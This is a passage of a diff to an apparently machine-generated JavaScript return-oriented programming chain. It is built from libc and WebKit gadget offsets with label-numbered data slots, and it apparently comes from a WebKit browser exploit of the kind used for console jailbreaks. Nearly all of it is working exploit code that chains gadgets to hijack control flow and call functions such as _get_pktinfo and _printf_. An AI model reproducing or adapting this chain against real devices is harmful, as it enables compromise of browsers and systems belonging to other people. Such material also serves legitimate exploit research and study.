rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L6783: +//L6548: db([2, 0]); // 0x2 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -48837,7 +48025,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L6784: +//L6549: db([28, 0]); // 0x1c set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -48845,8 +48033,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L6786: -ropchain+352888, //L6785 +//L6551: +ropchain+349304, //L6550 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -48854,8 +48042,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+392664, //L5892 -//L6785: +ropchain+396232, //L5649 +//L6550: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -48863,81 +48051,118 @@ db([4294967272, 4294967295]); // -0x18 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+353024, //L6788 +ropchain+349440, //L6553 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+353040, //L6789 +ropchain+349456, //L6554 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+353008, //L6787 +ropchain+349424, //L6552 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6787: +//L6552: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6788: +//L6553: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6789: +//L6554: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+353136, //L6791 +ropchain+349552, //L6556 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+353120, //L6790 +ropchain+349536, //L6555 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L6790: +//L6555: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6791: +//L6556: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+353232, //L6793 +ropchain+349632, //L6557 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx ]); -//L6792: -db([4294965208, 4294967295]); // -0x828 -set_gadget(libc_base+788575,); //pop rax -//L6793: +//L6557: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6558: +db([4294965192, 4294967295]); // -0x838 set_gadgets([ libc_base+547636, //add rax, rsi -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+349752, //L6562 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+349736, //L6560 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx +]); +//L6560: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L6562: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+191168, //mov rax, [rdi] +libc_base+793877, //pop rsi +ropchain+349896, //L6565 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+349864, //L6563 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+349880, //L6564 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); +//L6563: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L6564: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L6565: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+353312, //L6794 +ropchain+349968, //L6566 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6794: +//L6566: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+353368, //L6797 +ropchain+350024, //L6568 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6797: +//L6568: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -48945,102 +48170,102 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+353464, //L6800 +ropchain+350104, //L6570 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6798: -db([4294965160, 4294967295]); // -0x858 -set_gadget(libc_base+792472,); //pop rcx -//L6800: +//L6570: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6571: +db([4294965164, 4294967295]); // -0x854 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+353568, //L6803 +ropchain+350224, //L6575 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+353552, //L6802 +ropchain+350208, //L6573 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6802: +//L6573: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6803: +//L6575: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+353736, //L6806 +ropchain+350392, //L6578 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+353752, //L6807 +ropchain+350408, //L6579 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+353704, //L6804 +ropchain+350376, //L6576 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+353720, //L6805 +ropchain+350360, //L6577 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6804: +//L6577: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6805: +//L6576: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6806: +//L6578: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6807: +//L6579: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+353912, //L6811 +ropchain+350568, //L6583 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+353864, //L6808 +ropchain+350520, //L6581 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+353896, //L6810 +ropchain+350552, //L6582 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6808: +//L6581: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6809: +//L6580: db([4, 0]); // 0x4 set_gadget(libc_base+206806,); //pop rdi -//L6810: +//L6582: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6811: +//L6583: db([0, 0]); // 0x0 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+353984, //L6812 +ropchain+350640, //L6584 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+354000, //L6813 +ropchain+350656, //L6585 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6812: +//L6584: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6813: +//L6585: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -49051,44 +48276,44 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+354088, //L6814 +ropchain+350744, //L6586 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6814: +//L6586: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+354144, //L6817 +ropchain+350800, //L6588 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6817: +//L6588: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+354216, //L6818 +ropchain+350872, //L6590 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6818: +//L6590: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+354272, //L6821 +ropchain+350928, //L6592 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6821: +//L6592: db([0, 0]); // 0x0 set_gadgets([ webkit_base+954100, //mov [rax], ecx @@ -49100,14 +48325,14 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+354376, //L6823 +ropchain+351032, //L6595 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L6822: -db([4294965124, 4294967295]); // -0x87c +//L6594: +db([4294965128, 4294967295]); // -0x878 set_gadget(libc_base+788575,); //pop rax -//L6823: +//L6595: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi @@ -49118,77 +48343,77 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+354480, //L6826 +ropchain+351120, //L6596 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6824: -db([4294967256, 4294967295]); // -0x28 -set_gadget(libc_base+792472,); //pop rcx -//L6826: +//L6596: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6597: +db([4294965180, 4294967295]); // -0x844 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+354584, //L6829 +ropchain+351240, //L6601 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+354568, //L6828 +ropchain+351224, //L6599 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6828: +//L6599: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6829: +//L6601: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+354752, //L6832 +ropchain+351408, //L6604 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+354768, //L6833 +ropchain+351424, //L6605 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+354720, //L6830 +ropchain+351392, //L6602 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+354736, //L6831 +ropchain+351376, //L6603 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6830: +//L6603: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6831: +//L6602: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6832: +//L6604: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6833: +//L6605: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+354864, //L6835 +ropchain+351520, //L6607 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+354848, //L6834 +ropchain+351504, //L6606 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L6834: +//L6606: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6835: +//L6607: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -49196,8 +48421,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L6837: -ropchain+354968, //L6836 +//L6609: +ropchain+351624, //L6608 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -49205,8 +48430,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+194592, //_get_pktinfo -//L6836: +ropchain+194128, //_get_pktinfo +//L6608: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -49220,8 +48445,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L6839: -ropchain+398208, //L6838 +//L6611: +ropchain+398008, //L6610 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -49229,8 +48454,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L6841: -ropchain+355144, //L6840 +//L6613: +ropchain+351800, //L6612 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -49238,8 +48463,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+160280, //_printf_ -//L6840: +ropchain+159840, //_printf_ +//L6612: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -49247,8 +48472,8 @@ db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+788575, //pop rax -//L6843: -ropchain+398232, //L6842 +//L6615: +ropchain+398032, //L6614 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -49256,8 +48481,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L6845: -ropchain+355288, //L6844 +//L6617: +ropchain+351944, //L6616 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -49265,8 +48490,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+160280, //_printf_ -//L6844: +ropchain+159840, //_printf_ +//L6616: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -49274,124 +48499,124 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6846: -db([4294965120, 4294967295]); // -0x880 -set_gadget(libc_base+792472,); //pop rcx -//L6848: +//L6618: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6619: +db([4294965124, 4294967295]); // -0x87c set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+355416, //L6850 +ropchain+352072, //L6622 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6849: +//L6621: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6850: +//L6622: db([0, 0]); // 0x0 set_gadgets([ webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+355472, //L6853 +ropchain+352128, //L6624 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6853: +//L6624: db([0, 0]); // 0x0 -//L6851: +//L6623: set_gadgets([ libc_base+793877, //pop rsi -ropchain+355536, //L6856 +ropchain+352176, //L6626 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6854: -db([4294965120, 4294967295]); // -0x880 -set_gadget(libc_base+792472,); //pop rcx -//L6856: +//L6626: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6627: +db([4294965124, 4294967295]); // -0x87c set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+355640, //L6859 +ropchain+352296, //L6631 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+355624, //L6858 +ropchain+352280, //L6629 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6858: +//L6629: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6859: +//L6631: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+355808, //L6862 +ropchain+352464, //L6634 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+355824, //L6863 +ropchain+352480, //L6635 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+355776, //L6860 +ropchain+352448, //L6632 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+355792, //L6861 +ropchain+352432, //L6633 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6860: +//L6633: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6861: +//L6632: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6862: +//L6634: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6863: +//L6635: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+355896, //L6864 +ropchain+352552, //L6636 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+355912, //L6865 +ropchain+352568, //L6637 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L6864: +//L6636: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6865: +//L6637: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+356008, //L6867 +ropchain+352664, //L6639 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+355992, //L6866 +ropchain+352648, //L6638 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L6866: +//L6638: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6867: +//L6639: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -49400,39 +48625,39 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+356088, //L6869 +ropchain+352744, //L6640 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6869: +//L6640: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6868: +//L6641: db([20, 0]); // 0x14 set_gadget(libc_base+206806,); //pop rdi -//L6870: +//L6642: db([20, 0]); // 0x14 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+356224, //L6871 +ropchain+352880, //L6643 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+356256, //L6873 +ropchain+352912, //L6645 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+356240, //L6872 +ropchain+352896, //L6644 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6871: +//L6643: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6872: +//L6644: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6873: +//L6645: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -49445,85 +48670,85 @@ webkit_base+14959219, //cmp rax, rcx ; sete al webkit_base+48555, //setl al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+356424, //L6875 +ropchain+353080, //L6647 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+356440, //L6876 +ropchain+353096, //L6648 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+356408, //L6874 +ropchain+353064, //L6646 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6874: +//L6646: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6875: +//L6647: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6876: +//L6648: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+356544, //L6879 +ropchain+353200, //L6651 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+356592, //L6881 +ropchain+353248, //L6653 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+356576, //L6880 +ropchain+353232, //L6652 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6879: +//L6651: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L6878: +//L6650: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6880: +//L6652: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6881: +//L6653: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+356704, //L6882+8 +ropchain+353360, //L6654+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+356696, //L6882 +ropchain+353352, //L6654 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L6882: +//L6654: db([0, 0]); // 0x0 set_gadgets([ -ropchain+356720, //L6882+24 -ropchain+356736, //L6877 +ropchain+353376, //L6654+24 +ropchain+353392, //L6649 libc_base+811575, //pop rsp -ropchain+356752, //L6883 -//L6877: +ropchain+353408, //L6655 +//L6649: libc_base+811575, //pop rsp -ropchain+359984, //L6884 -//L6883: +ropchain+356640, //L6656 +//L6655: libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+356808, //L6886 +ropchain+353464, //L6658 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L6885: -db([4294965124, 4294967295]); // -0x87c +//L6657: +db([4294965128, 4294967295]); // -0x878 set_gadget(libc_base+788575,); //pop rax -//L6886: +//L6658: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi @@ -49533,22 +48758,22 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+356888, //L6887 +ropchain+353544, //L6659 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6887: +//L6659: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+356944, //L6890 +ropchain+353600, //L6661 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6890: +//L6661: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -49556,83 +48781,83 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+357040, //L6893 +ropchain+353680, //L6663 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6891: -db([4294965120, 4294967295]); // -0x880 -set_gadget(libc_base+792472,); //pop rcx -//L6893: +//L6663: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6664: +db([4294965124, 4294967295]); // -0x87c set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+357144, //L6896 +ropchain+353800, //L6668 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+357128, //L6895 +ropchain+353784, //L6666 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6895: +//L6666: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6896: +//L6668: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+357312, //L6899 +ropchain+353968, //L6671 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+357328, //L6900 +ropchain+353984, //L6672 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+357280, //L6897 +ropchain+353952, //L6669 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+357296, //L6898 +ropchain+353936, //L6670 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6897: +//L6670: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6898: +//L6669: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6899: +//L6671: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6900: +//L6672: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+357432, //L6901 +ropchain+354088, //L6673 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+357464, //L6903 +ropchain+354120, //L6675 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+357448, //L6902 +ropchain+354104, //L6674 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6901: +//L6673: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6902: +//L6674: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6903: +//L6675: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -49643,263 +48868,263 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+357552, //L6904 +ropchain+354208, //L6676 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6904: +//L6676: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+357608, //L6907 +ropchain+354264, //L6678 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6907: +//L6678: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+357744, //L6909 +ropchain+354400, //L6681 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+357760, //L6910 +ropchain+354416, //L6682 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+357728, //L6908 +ropchain+354384, //L6680 